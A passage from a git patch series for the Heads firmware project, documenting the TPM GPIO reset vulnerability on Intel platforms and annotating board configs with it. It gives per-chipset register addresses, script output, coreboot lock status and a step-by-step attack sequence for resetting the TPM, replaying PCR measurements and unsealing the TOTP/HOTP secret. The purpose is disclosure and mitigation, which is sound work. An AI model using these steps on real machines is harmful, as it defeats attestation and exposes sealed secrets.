ADL. The +following three coordinated changes are needed: + +### 7.1 Fix PchUnlockGpioPads Logic + +Star Labs identified inverted logic in Alder Lake's `PchUnlockGpioPads` UPD +(commit 06f3c07, in-review patch 93422). The original code had: +```c +PchUnlockGpioPads = lockdown_by_fsp; +``` +This sets the UPD to 0 when coreboot manages lockdown (correct semantic), but +the variable name implies the opposite action. The fix corrects this to +explicitly set the UPD based on whether coreboot or FSP should manage GPIO +pad locking. MTL builds need this fix applied to their FSP integration code. + +### 7.2 Move mainboard_configure_gpios() to Ramstage + +On MTL, `mainboard_configure_gpios()` currently runs in romstage, before FSP-S +initializes the GPIO controller. GPIO pad config registers are not accessible +at this stage. Moving the call to ramstage (after FSP-S runs) ensures pad +config registers are writable when the lock action is applied. + +### 7.3 Add PAD_CFG_NF_LOCK to Board GPIO Tables + +MTL's PCR lock mechanism (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR`) is +simpler than ADL's SBI method: it uses direct MMIO writes to the PADCFGLOCK +register (no P2SB unhiding needed). Each pad in the board GPIO table that +needs locking must include the `PAD_CFG_NF_LOCK` macro (for native-function +pads like PLTRST#) or `PAD_CFG_LOCK` (for GPIO pads). Without these macros +in the board GPIO table entries, the `gpio_configure_pads()` code path skips +the lock action entirely. + +None of these three changes are applied in current MTL builds (Dasharo or +upstream coreboot). The PCR lock infrastructure compiles but zero pads are +actually locked. Additionally, FSP sets `PchUnlockGpioPads=1` on MTL, +force-unlocking all pads regardless of the board configuration. + +--- + +## Appendix A: Key Register Addresses Reference + +### ADL-P Mobile (NV4x, NS50) + +``` +PCR_BASE: 0xFD000000 +GPIO COM0 port: 0x6e +Community base: 0xFD6E0000 (= 0xFD000000 + (0x6e << 16)) +PAD_CFG_BASE: 0x700 +GPP_B13 pad: 13 +DW0 offset: 0x7D0 (= 0x700 + 13 * 16) +DW0 address: 0xFD6E07D0 (= 0xFD6E0000 + 0x7D0) +DW1 address: 0xFD6E07D4 +PADCFGLOCK: 0xFD6E0080 +PADCFGLOCKTX: 0xFD6E0084 +``` + +### ADL-S / RPL-S Desktop + +``` +PCR_BASE: 0xE0000000 +GPIO COM1 port: 0x6d +Community base: 0xE06D0000 (= 0xE0000000 + (0x6d << 16)) +PAD_CFG_BASE: 0x700 +GPP_B13 pad: 13 +DW0 offset: 0x7D0 (= 0x700 + 13 * 16) +DW0 address: 0xE06D07D0 +DW1 address: 0xE06D07D4 +PADCFGLOCK: 0xE06D0110 +PADCFGLOCKTX: 0xE06D0114 +``` + +### SPT / KBP (Skylake/Kaby Lake) + +SPT/KBP uses a different pad register layout than ADL. Each pad uses +**2 DWORDS (8 bytes)** per `skylake/gpio_defs.h` line 12 +(`GPIO_NUM_PAD_CFG_REGS 2`). The community base includes a port shift. + +``` +PCR_BASE: 0xFD000000 +GPIO COM0 port: 0xaf +Community base: 0xFDAF0000 (= 0xFD000000 + (0xaf << 16)) +PAD_CFG_BASE: 0x400 +PAD_REG_SIZE: 8 (2 DWORDS per pad) +GPP_B13: global pad 37, local index 13 within GROUP_B (GPP_A=0-23, GPP_B=24+13) +DW0 offset: 0x528 (= 0x400 + 37 * 8) +DW0 address: 0xFDAF0528 (= 0xFDAF0000 + 0x528) +DW1 address: 0xFDAF052C +PADCFGLOCK: 0xFDAF0080 +PADCFGLOCKTX: 0xFDAF0084 +``` + +### CNP-LP (Cannon Point LP, T480s) + +``` +PCR_BASE: 0xFD000000 +GPIO COM0 port: 0x6e +Community base: 0xFD6E0000 +PAD_CFG_BASE: 0x600 +GPP_B13: local pad 38 (COMM_0, GPP_A0=0, GPP_B13=38) +DW0 offset: 0x860 (= 0x600 + 38 * 16) +DW0 address: 0xFD6E0860 +``` + +**UNTESTED** -- no hardware verification. kukri's PoC does not support this PCH family. + +### ADL-P PADCFGLOCK Registers (Readings from NV4x) + +| Register | Address | Value (LE) | Value (decoded) | +|---|---|---|---| +| PADCFGLOCK | 0xFD6E0080 | 0x00010203 | Bits 0, 8, 17 set (not GPP_B13) | +| PADCFGLOCKTX | 0xFD6E0084 | 0x00000000 | No TX locked pads | + +--- + +## Appendix B: Script Output Reference + +### Audit Mode Output (NV4x ADL-P) + +``` +====================================================================== + 1. PLATFORM DETECTION +====================================================================== +[OK] Detected PCH: Alder/Raptor Lake (ADL/RPL) -- device 0x5182 + Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13) + Port: 0x6e | PAD_CFG_BASE: 0x700 + +====================================================================== + 2. REGISTER ADDRESS CALCULATION +====================================================================== + Pad offset within community: 13 - 0 = 13 + Bytes per pad: 4 DWORDS x 4 = 16 bytes + DW0 register offset in community: 0x700 + (13 * 16) = 0x7d0 + +====================================================================== + 3. CURRENT REGISTER CONFIGURATION +====================================================================== +[OK] Pad is correctly configured as native function output. + +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + AUDIT MODE: No GPIO reset will be performed. The attack plan would be: + ... +``` + +### Execute Mode Output (NV4x ADL-P -- mechanism fails) + +``` +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + PADCFGLOCK at 0xfd6e0080: 0x00010203 (bit 13 not set) + PLTRST pad NOT locked -- writes should work +... (writes succeed, readback verified) ... + +====================================================================== + 5. PCR VERIFICATION +====================================================================== +[WARN] PCR 2 is non-zero -- GPIO reset may not have worked + NOTE: ADL-P platforms (NovaCustom NV4x, Nitropad NS50) are + confirmed vulnerable (no GPIO lock) but PCR 2 remained non-zero + after PLTRST# assertion attempt using the kukrimate method — the + pad may not be electrically connected to the TPM reset line on + this PCH die. The kukrimate inteltool.c does not support ADL-P + device IDs, and hardware testing (NV4x) showed the kernel TPM + driver did not detect a bus reset after GPIO pad manipulation. +``` + +--- + +## Appendix C: References + +- **mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus"** (June 2024) + https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html + Original disclosure with detailed analysis. + +- **kukrimate/tpm-gpio-fail (GitHub)** -- GPL-2.0 PoC tools + https://github.com/kukrimate/tpm-gpio-fail + Contains `detect` and `reset` tools with platform data for SPT, KBP, CNP-H. + +- **coreboot ticket #576** -- "PLTRST_CPU_B pad should be locked to prevent + userspace TPM GPIO reset" + https://ticket.coreboot.org/issues/576 + +- **coreboot patch series** -- "intel_gpio_lock" + https://review.coreboot.org/q/topic:%22intel_gpio_lock%22 + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities. + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for + Skylake -- tested, does not work on real hardware. + - `#93324` (open): Board-level GPIO lock for Lenovo SKL/KBL ThinkPads + (T480/T480s). Depends on 90885. Stalled on Intel maintainer review + alongside 90885 -- no human Code-Review since June 2026. + - `#93422` (open): Split FSP lockdown (includes Star Labs PchUnlockGpioPads + fix commit 06f3c07, updated July 22 2026). Awaiting Intel maintainer review. + +- **Heads issue #2159** -- TPM GPIO reset attack tracking + https://github.com/linuxboot/heads/issues/2159 + +- **Intel GPIO Best Practices Guide** -- ID 834810 (Public) + Describes pad configuration lock mechanisms and platform-specific register + layouts. Publicly available at intel.com. + +- **chipsec tpm_gpio_fail module** + https://github.com/chipsec/chipsec + Decision tree for evaluating TPM GPIO fail vulnerability on any Intel platform. diff --git a/doc/TPM_GPIO_Reset_Vulnerability.md b/doc/TPM_GPIO_Reset_Vulnerability.md new file mode 100644 index 000000000..44bd7395d --- /dev/null +++ b/doc/TPM_GPIO_Reset_Vulnerability.md @@ -0,0 +1,261 @@ +# TPM GPIO Reset Vulnerability + +## Summary + +On Intel platforms, discrete TPMs connect to the PCH via LPC, eSPI, or SPI. +On Skylake and newer platforms, these buses share a reset pin (PLTRST#) on a +multi-function PCH pad that can be reprogrammed to GPIO mode by software. An attacker with OS-level code execution can reassign +the pin to GPIO, briefly drive it low (resetting the TPM), restore it, then forge +arbitrary PCR measurements. No physical access is needed. + +This allows: +- Extracting disk encryption keys from TPM-based full-disk encryption schemes + that seal without a passphrase (e.g., Windows BitLocker without PIN, or Linux + LUKS sealed to PCRs without a TPM passphrase). +- Forging TPMTOTP/HOTP attestation codes to hide firmware tampering. +- Defeating Intel BootGuard measured boot by resetting PCRs after BootGuard has + extended its measurements. + +Disclosed by Mate Kukri, June 2024: . +No CVE was assigned by Intel. + +## Mitigation + +Intel PCHs include a GPIO pad configuration lock bit. When set by firmware before +booting the OS, the pad function (e.g., LPC/eSPI native mode) becomes read-only, +preventing the OS from reprogramming it to GPIO mode. The lock bit must be set by +platform firmware (coreboot, in Heads' case). + +Intel's NDA-only BIOS writer's guide includes guidance on when and how to set +these lock bits. The open-source community does not have access to this +documentation, making implementation and validation difficult for platforms where +the lock method is not already known from working vendor implementations. + +## coreboot GPIO Lock Status by Platform Generation + +Source: coreboot source code in `src/soc/intel/`. Checked against coreboot 25.09 +and 26.06 upstream. + +| Platform generation | GPIO lock status | Details | +|---|---|---| +| Sandy/Ivy/Haswell/Broadwell (2nd-5th Gen) | **Not vulnerable** | PLTRST# is a dedicated PCH pin on these platforms, not a multi-function pad shared with GPIO. Cannot be reprogrammed by software. | +| Skylake/Kaby Lake (6th-8th Gen) | **Not functional** | Common GPIO block exists but `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` not selected; `pad_cfg_lock_offset` missing from 25.09 (added in 26.06 by merged patch #90884, but still non-functional without Kconfig selection). | +| Cannonlake/CFL/WHL/CML (8th-10th Gen) | **Not functional** | CNP-LP (0x9d84) has no PADCFGLOCK register in hardware (pad_cfg_lock_offset=0 in GPIO community structs). Per Intel doc 834810, Comet Lake U (0x9d8* in some steppings) does have PADCFGLOCK at offset 0x88. CNP-LP proper (0x9d84) confirmed no lock register per coreboot gpio.c (pad_cfg_lock_offset=0). **Note**: pad_cfg_lock_offset=0 could also mean "lock register at community base+0" rather than "absent" -- practical PADCFGLOCK reads return 0x00000000, consistent with either interpretation. | +| Tiger Lake (11th Gen) | **Not functional** | Same as Cannonlake: no struct fields, no Kconfig selection. | +| Alder Lake/Raptor Lake (12th-13th Gen) | **Functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected. `pad_cfg_lock_offset` populated in GPIO community structs. | +| Meteor Lake+ (Core Ultra Series 1+) | **Not functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected and `pad_cfg_lock_offset` populated, but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads actually locked. FSP also sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. | + +The SMM-based lock path (`SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS`) is selected +by **no** platform in coreboot upstream — the SMI finalize handler for GPIO +locking is dead code. + +### Kconfig selection coverage + +Four SoC families select a GPIO lock method in upstream coreboot: + +``` +src/soc/intel/alderlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI +src/soc/intel/meteorlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/pantherlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/novalake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +``` + +All other `soc/intel/*` platforms do not select either option. Attempts to +backport the lock to Skylake via the PCR method (CL #90885) did not work on +real hardware — the lock bits are not actually set despite the code executing. + +### Code paths + +**Non-SMM path** (`gpio_non_smm_lock_pad()` in `src/soc/intel/common/block/gpio/gpio.c`): +Called from ramstage when `gpio_configure_pads()` processes pads with the +`PAD_CFG_LOCK` attribute. Requires either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` +or `_USING_SBI` to be selected. Without either, prints: +`"Error: No pad configuration lock method is selected!"` and returns without +locking anything. + +**SMM path** (`gpio_lock_pads()`): +Only available when `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected +(no platform selects this). Always uses SBI for register access. Would be +invoked from the finalize SMI handler, but that also requires a platform-specific +`soc_gpio_lock_config()` override to specify which pads to lock — no platform +overrides the weak default which returns nothing. + +## Attack Feasibility + +### Prerequisites + +An attacker needs the following to exploit the TPM GPIO reset vulnerability on Heads: + +- **OS-level code execution on the target**: Obtained via dual-boot, USB boot with brief physical access, or malware. +- **Access to measurement logs**: The attacker needs both coreboot and Heads measurement logs because TPMTOTP is sealed with PCRs from both sources — PCR 2 from coreboot SRTM and PCRs 4, 7 from Heads measurements. + - **`cbmem -L` (coreboot event log)**: Contains every coreboot firmware measurement extend performed during the boot process, sequenced as bootblock -> romstage -> ramstage -> payload (Heads kernel + initrd hashes). Each log entry includes a cryptographic digest (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2) that can be passed to the TPM extend command. Available to any OS with root access by running `cbmem -L`; the attacker can obtain this after gaining code execution via dual-boot, USB stick, or malware. The output format includes either SHA-256 or SHA-1 hashes depending on the TPM version. + - **`/tmp/measuring_trace.log` (Heads initrd measurement log)**: Records each CBFS file measurement extended into PCR 7 (two sequential TPM extends: first the filename string, then the file content) and boot path extends into PCR 4 ("generic", "usb", or "recovery"). The log is human-readable `INFO()` output from `tpmr.sh extend` calls — an attacker must grep for lines matching `"Extending PCR"` to extract extend sequences. The log lives in tmpfs RAM and is volatile across reboots, but can be obtained by an attacker in two ways: + 1. **Recovery shell**: Booting into the Heads recovery console and reading `/tmp/measuring_trace.log` — the file exists in any running Heads session and can be dumped to persistent storage or exfiltrated. + 2. **ROM extraction**: The CBFS files that get extended into PCR 7 are stored in the ROM image. An attacker can dump the ROM externally with a SPI programmer, then list CBFS files with `cbfstool` and compute hashes offline by replaying the same two-step TPM extend sequence used by `cbfs-init.sh`: first hashing the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), then hashing the file content. PCR 4 is deterministic from the boot path ("generic", "usb", or "recovery") and can be computed without the log. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). +- **Knowledge of the platform PLTRST pad definition**: GPIO pad number, community, and register offset for the target PCH. +- **Platform restrictions**: The attack only works on Skylake through Tiger Lake platforms where GPIO lock is not functional. Pre-Skylake platforms use a dedicated PLTRST# pin and are not vulnerable. Meteor Lake+ is not vulnerable because GPIO PLTRST# assertion does not apply to LPC-connected TPMs on this platform, not because GPIO lock is functional -- the PCR lock infrastructure is compiled but no board pads are configured with lock actions, and FSP force-unlocks all pads via `PchUnlockGpioPads=1`. + +### Attack Steps + +1. **Gain code execution** on the target (dual-boot, USB stick, or malware). On a + Heads system, this means booting into the Heads recovery shell (if + unauthenticated — recovery shell access is the primary attack vector). +2. **Boot into the Heads recovery shell** (if not already in a privileged + environment). From the recovery shell, the attacker can read: + - `cbmem -L` — coreboot event log with PCR 2 extend operations + - `/tmp/measuring_trace.log` — Heads initrd extend operations for PCRs 4,5,7 + (this log exists in the running initrd until reboot clears tmpfs) +3. **Read `/tmp/measuring_trace.log`** (if available) to obtain the Heads PCR 4 + and PCR 7 extend sequences. If the log is not available, PCR 4 can be + recomputed from the boot path and PCR 7 requires replaying the same two-step + extend sequence as `cbfs-init.sh` (filename string then file content), which + can be computed from the ROM image. +4. **Locate the PLTRST pad** via `/dev/mem` and reprogram it from native function (LPC/eSPI/SPI) to GPIO output mode. +5. **Drive the pad low for approximately 10 ms**, asserting a hardware reset of the discrete TPM. This clears all PCRs to their initial value (typically zero) while preserving NVRAM contents. +6. **Drive the pad high** to deassert reset, allowing the TPM to reinitialize. +7. **Replay PCR extends in the correct order** using `tpm2_pcrextend`: + - **PCR 2**: The coreboot SRTM measurements from `cbmem -L`. Each log entry includes a cryptographic digest that can be passed to the TPM extend command (e.g., `tpm2_pcrextend -ix 2 -ic ` on TPM 2.0, or equivalent on TPM 1.2). + - **PCR 7**: Each CBFS file is measured by `cbfs-init.sh` with two sequential TPM extends: first the filename string, then the file content. If `/tmp/measuring_trace.log` is available, the extend hashes are logged there (look for `"Extending PCR[7]"` lines). Otherwise, the attacker can extract the ROM image, list CBFS files with `cbfstool`, and replay the extend sequence offline: hash the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), extend it, then hash the file content and extend that. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). + - **PCR 4**: Extends one of "generic" (normal boot), "usb" (USB boot), or "recovery" (recovery shell). Deterministic from the boot path — no measurement log needed. + - **PCRs 0, 1, 3**: Always zero on standard Heads boards — no extends needed. + - **Note on PCR 0**: Even if PCR 0 were extended (e.g., via BootGuard measured boot), it would NOT protect against TPM GPIO reset: per the TCG PC Client TIS specification, PCRs 0-15 have pcrExtendLocal = 1,1,1,1,1 — extendable from ALL localities including locality 0. After a TPM GPIO reset, an attacker can extend PCR 0 from locality 0 to any desired forged value. Intel's claim in doc 834810 that PCR 0 is a software mitigation is inaccurate for this attack vector. +8. **Call `tpm2_unseal`** on NVRAM index `0x4d47` (TOTP/HOTP key). The unseal succeeds because PCR values match the expected state and no passphrase protects this index. +9. **Extract the 20-byte TOTP/HOTP shared secret** from the unsealed data. +10. **Optionally restore the original pad configuration** to hide traces of the attack. + +**Technical note on the 0x80000000 write mechanism:** The 0x80000000 write is a **mode transition**: it switches the PLTRST# pad from native function (NF1, driven by the PCH's LPC/eSPI controller) to GPIO output mode with TX=0 (driven low). The falling edge on the physical pin is what the TPM interprets as a reset pulse. The PADRSTCFG bits [31:30]=10 (PLTRST reset domain) configure the pad config register's own reset source, not the output signal. Writing 0x80000000 does NOT "assert" PLTRST# as a single action — it is the NF1->GPIO transition that creates the voltage edge. + +### Attack Scope per TCG Specification + +The TPM GPIO reset attack's scope is defined by the TCG TPM 2.0 Library +specification, Part 1 (Architecture): +- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and + transient (4.87) resources +- **Section 12.2.3.2**: TPM Reset, Restart, and Resume startup types — + defines which objects survive each reset level +- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) +The PLTRST# signal itself is platform-specific (Intel PCH), not defined by +the TCG specification. A GPIO reset triggers a platform-level TPM reset +equivalent to `TPM2_Startup(CLEAR)`, which clears PCRs but preserves NV +indices per the TCG specification. + +**What the attacker CAN do (volatile memory -- cleared on platform-level reset):** +- **PCRs 0-23** are reset to their initial (all-zero) state (`TPM_PT_PS_REVISION`). + Per TCG Part 1 Section 12.2.3.2 (TPM Reset startup type), all PCRs are + cleared. The attacker can forge arbitrary measurement values by extending + the freshly cleared PCRs. +- **HMAC sessions and transient objects** (created via `TPM2_StartAuthSession`, + `TPM2_Load`) are destroyed (per Section 4.87 transient resource definition). + The attacker must re-establish sessions (handled automatically by the script). + +**What the attacker CANNOT do (non-volatile memory -- preserved across reset):** +- **Sealed data objects** (created via `TPM2_Create` with PCR policy) PERSIST + across platform reset (NV memory per Section 37 is non-volatile). The attacker + does NOT need to re-seal -- the existing NVRAM index (0x4d47 for TOTP/HOTP) + remains intact and is unsealed once PCRs are restored to their sealing values. +- **Persistent key handles** (e.g. primary key at 0x81000000) survive the reset. + The storage hierarchy seed is preserved (Section 12.2.3.2), so the primary + key remains accessible. +- **NVRAM indices with their auth values** persist (Section 37). Index 0x4d47 + (TOTP/HOTP secret) and index 3 (DUK) are both preserved. + +**Unseal rules (TPM 2.0 Part 1, Section 27.2.6 — Unseal command):** +- `TPM2_Unseal` requires BOTH: + 1. The PCR values in the `TPM2_PolicyPCR` assertion must match the values + specified at seal time. + 2. Any auth value (password/passphrase) specified at seal time must be + provided. +- If the object was sealed with a non-empty auth value, the attacker must + know it. If sealed with an empty auth value, PCR control alone is sufficient. + +Applied to Heads: +- **TOTP/HOTP secret** (`seal-totp.sh` line 66): Sealed at index 0x4d47 with + empty auth value (`tpmr.sh seal` 7th argument is `""`). After GPIO reset + + PCR replay, `tpm2_unseal` succeeds because the auth value is empty and + PCRs match. Sealed object persists per TCG non-volatile guarantees. + | Extractable. +- **DUK** (`kexec-seal-key.sh` line 309): Sealed at index 3 with a user-chosen + passphrase (`$key_password`). Even after GPIO reset + PCR replay, the attacker + must provide this passphrase. Per TCG specification, `TPM2_Unseal` requires + both matching PCRs AND the correct auth value. + | Not extractable without the passphrase. + +### Mitigations + +These mitigations reduce the attack surface for the TPM GPIO reset attack +on Heads systems: + +**1. Authenticated recovery shell access** +The primary attack vector is unauthenticated access to the Heads recovery +shell, where `cbmem -L` and `/tmp/measuring_trace.log` are readable. +Configuring GPG authentication for the recovery shell (via +`CONFIG_BOOT_RECOVERY_GPG=` in the board config) prevents an attacker +from obtaining the measurement logs needed to forge PCR state, even if +they can boot the system. + +**2. Firmware backup and integrity** +An attacker with physical access could extract the SPI ROM, compute CBFS +file hashes offline, and forge a modified ROM that replays expected +measurements (bypassing the need for `/tmp/measuring_trace.log`). +Regular external verification of firmware integrity (comparing ROM dumps +against known-good hashes) detects tampering. + +**3. TPM Disk Unlock Key with passphrase** +The TPM DUK requires a user passphrase and is NOT extractable via +GPIO reset + PCR replay. Ensuring a strong DUK passphrase is configured +protects disk encryption keys even if the TOTP/HOTP attestation secret +is compromised. + +### What the Attacker Obtains + +- **TOTP/HOTP shared secret (20 bytes)**: Extracted. Per the TCG specification + (Section 37: NV memory is non-volatile; Section 12.2.3.2: PCRs clear on Reset), + sealed NV objects persist across platform-level reset while PCRs do not. + Since the secret was sealed with an empty auth value + (`seal-totp.sh` passes `""` as the 7th `tpmr.sh seal` argument), PCR replay + alone is sufficient for unseal. The attacker can produce valid TOTP codes + indefinitely, defeating remote attestation. They can also produce valid HOTP + codes for USB security dongle authentication. +- **TPM Disk Unlock Key (DUK) with passphrase**: NOT extractable per the TCG + specification -- `TPM2_Unseal` requires both correct PCR values AND the auth + value (passphrase) specified at seal time. Since the DUK is sealed with a + user passphrase (`kexec-seal-key.sh` passes `$key_password`), PCR replay + without the passphrase is insufficient. + +### What the Attacker Does NOT Obtain + +- The DUK passphrase (not stored in the TPM at all; the TPM only stores a + hash/verifier for the auth value per TCG specification). +- The GPG private key (sealed separately with a passphrase -- the attacker + would need to know this passphrase even if they could reset PCRs). +- The LUKS header content (though PCR 6 can be forged since the LUKS header + hash can be recomputed from disk contents). + +### Per-Platform Feasibility + +| Platform | Feasible? | Notes | +|---|---|---| +| Pre-Skylake (xx20/30/4x, w530, w541, Optiplex 7010/9010, HP Z220, x220) | **No** | PLTRST# is a dedicated PCH pin, not shared with GPIO. Cannot be reprogrammed by software. This classification is based on Intel PCH architecture documentation. No hardware testing has confirmed that pre-SKL PLTRST# pins are not GPIO-multiplexed on any die stepping. Community verification welcomed. | +| CML-U (0x066x, Comet Lake U 400 Series) | **Unconfirmed** | Has PADCFGLOCK at offset 0x88 per Intel doc 834810. Some 0x9d8* steppings also have PADCFGLOCK at 0x88. Only 0x9d84 (CNP-LP proper) is confirmed to lack the register. | +| Skylake through Tiger Lake (T480, M900 Tiny, Purism Librem boards) | **Yes** | GPIO lock non-functional in coreboot -- no lock Kconfig selected, no `pad_cfg_lock_offset` (except Skylake 25.09+ which has the field but no working lock). mechanism confirmed working by kukri on Kaby Lake PCH family (used by T480); M900 (SPT) shares same PCH port 0xaf, offset 0x528, not hardware-tested. **Note**: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP (Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public Intel verification. | +| CNP-LP (T480s) | **Unconfirmed** | No public test data; kukri PoC does not support this PCH family. | +| Alder Lake / Raptor Lake with upstream coreboot | **Unlikely** | Lock infrastructure compiled (SBI method, offsets defined) but no board selects SMM lock path. ADL-P hardware-tested on NV4x: mode bits [13:10] are hardware-locked (cannot be changed at runtime), TX bit toggle inconclusive (anomalous readback). Cannot confirm attack feasible on any ADL/RPL die without physical scope. | +| Alder Lake / Raptor Lake-P with Dasharo fork (NV4x/NS50 -- mobile) | **Inconclusive** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected, PADCFGLOCK=0 and PADCFGLOCKTX=0 (HW-unlocked), but mode bits [13:10] hardware-locked (NF1 write fails, readback stays GPIO). TX bit toggle also inconclusive: readback 0x03000080 has anomalous bits (7,24,25) not in any DW0 field. `/sys/class/tpm/tpm0/pcrs` not found after assertion attempt — kernel driver detected no bus reset. PCR clearing is from `tpm2 startup -c` alone. Cannot confirm/deny PLTRST# assertion without physical scope on LPC/eSPI reset line. NV4x confirmed to have discrete Infineon TPM 2.0 chip (dTPM via LPC/eSPI). kukri's PoC does NOT support ADL-P mobile (desktop only). | +| Alder Lake-S / Raptor Lake-S with Dasharo fork (Z790-P -- desktop) | **Unknown** | Same Dasharo fork configuration as ADL-P (SBI selected, SMM disabled), but ADL-S/RPL-S desktop was NOT tested. The attack mechanism may behave differently on desktop PCH dies. Community testing needed. | +| Meteor Lake with Dasharo fork (v540tu/v560tu) | **No** | PCR lock infrastructure compiled (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected, `pad_cfg_lock_offset` populated) but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads locked. FSP sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. Not vulnerable because GPIO PLTRST# assertion does not apply to LPC-connected TPMs on this platform. Per Intel doc 834810, MTL uses PCR port 0xD5 (different GPIO community layout than ADL's 0x6E). Locking requires 3 coordinated changes: (1) Fix PchUnlockGpioPads logic, (2) Move mainboard_configure_gpios() from romstage to ramstage after FSP-S, (3) Add PAD_CFG_NF_LOCK to board GPIO tables. None of these are applied in current builds. | +| Meteor Lake+ (upstream coreboot) | **No** | Same as Dasharo fork: PCR lock infrastructure compiled but unenforced; zero pads locked; FSP force-unlocks pads via `PchUnlockGpioPads=1`. Not vulnerable because PLTRST# assertion does not apply to LPC-connected TPMs. | + + +## Upstream Tracking + +- **Disclosure blog post**: +- **Detection tool**: +- **coreboot ticket**: +- **coreboot patch series**: + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for Skylake — tested, does not work on real hardware +- **Heads issue**: + +**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake -- the original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 when coreboot should manage lockdown, which is the correct semantic, but the variable name implies the opposite of what it does). The standalone fix exists at commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. + +**coreboot patch 93324:** Board-level GPIO lock for Lenovo SKL/KBL ThinkPads (T480/T480s). Depends on 90885. Currently stalled on Intel maintainer review alongside 90885. No human reviewer has provided Code-Review on any of these patches since June 2026. From d16719ce2c7f21f2b65de11843aa311e0bb5806d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 23 Jul 2026 20:36:37 -0400 Subject: [PATCH 3/5] boards, blobs: add TPM_GPIO_RESET CAVEATS annotations to board configs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add '# CAVEATS: TPM_GPIO_RESET=' comment to 50 hardware board configs. NOT_VULNERABLE for Pre-Skylake (dedicated PLTRST# pin) and Talos II (POWER9). VULNERABLE for Skylake through Comet Lake. VULNERABILITY UNCERTAIN for ADL-P 0x5182 (NV4x, NS50 — writes verify, PLTRST# not confirmed on this die). NOT_APPLICABLE for Librem 11, Mini v1, Mini v2 (CONFIG_NO_TPM=y, no TPM hardware). NOT_VULNERABLE for MTL v540tu/v560tu (eSPI TPM, SLB 9672). blobs: update TPM reset attack references in m900 and xx80 READMEs. Signed-off-by: Thierry Laurion --- blobs/m900/README.md | 2 +- blobs/xx80/README.md | 2 +- .../EOL_UNTESTED_t530-hotp-maximized.config | 3 + .../EOL_UNTESTED_t530-maximized.config | 3 + boards/EOL_librem_13v2/EOL_librem_13v2.config | 2 + boards/EOL_librem_13v4/EOL_librem_13v4.config | 2 + boards/EOL_librem_15v3/EOL_librem_15v3.config | 2 + boards/EOL_librem_15v4/EOL_librem_15v4.config | 2 + boards/EOL_librem_l1um/EOL_librem_l1um.config | 3 + .../EOL_m900_tower-hotp-maximized.config | 9 +- .../EOL_m900_tower-maximized.config | 9 +- ...L_optiplex-7010_9010-hotp-maximized.config | 3 + .../EOL_optiplex-7010_9010-maximized.config | 3 + ...tiplex-7010_9010_TXT-hotp-maximized.config | 3 + ...OL_optiplex-7010_9010_TXT-maximized.config | 3 + .../EOL_t420-hotp-maximized.config | 3 + .../EOL_t420-maximized.config | 3 + .../EOL_t430-hotp-maximized.config | 3 + .../EOL_t430-maximized.config | 3 + .../EOL_t440p-hotp-maximized.config | 3 + .../EOL_t440p-maximized.config | 3 + .../EOL_t480-hotp-maximized.config | 10 +- .../EOL_t480-maximized.config | 10 +- .../EOL_t480s-hotp-maximized.config | 10 +- .../EOL_t480s-maximized.config | 10 +- .../EOL_w530-hotp-maximized.config | 3 + .../EOL_w530-maximized.config | 3 + .../EOL_w541-hotp-maximized.config | 3 + .../EOL_w541-maximized.config | 3 + .../EOL_x220-hotp-maximized.config | 3 + .../EOL_x220-maximized.config | 3 + .../EOL_x230-hotp-maximized-fhd_edp.config | 3 + .../EOL_x230-hotp-maximized.config | 3 + .../EOL_x230-hotp-maximized_usb-kb.config | 3 + .../EOL_x230-maximized-fhd_edp.config | 3 + .../EOL_x230-maximized.config | 3 + .../EOL_z220-cmt-hotp-maximized.config | 3 + .../EOL_z220-cmt-maximized.config | 3 + .../UNTESTED_msi_z690a_ddr4.config | 3 +- .../UNTESTED_msi_z690a_ddr5.config | 3 +- .../UNTESTED_msi_z790p_ddr4.config | 3 +- 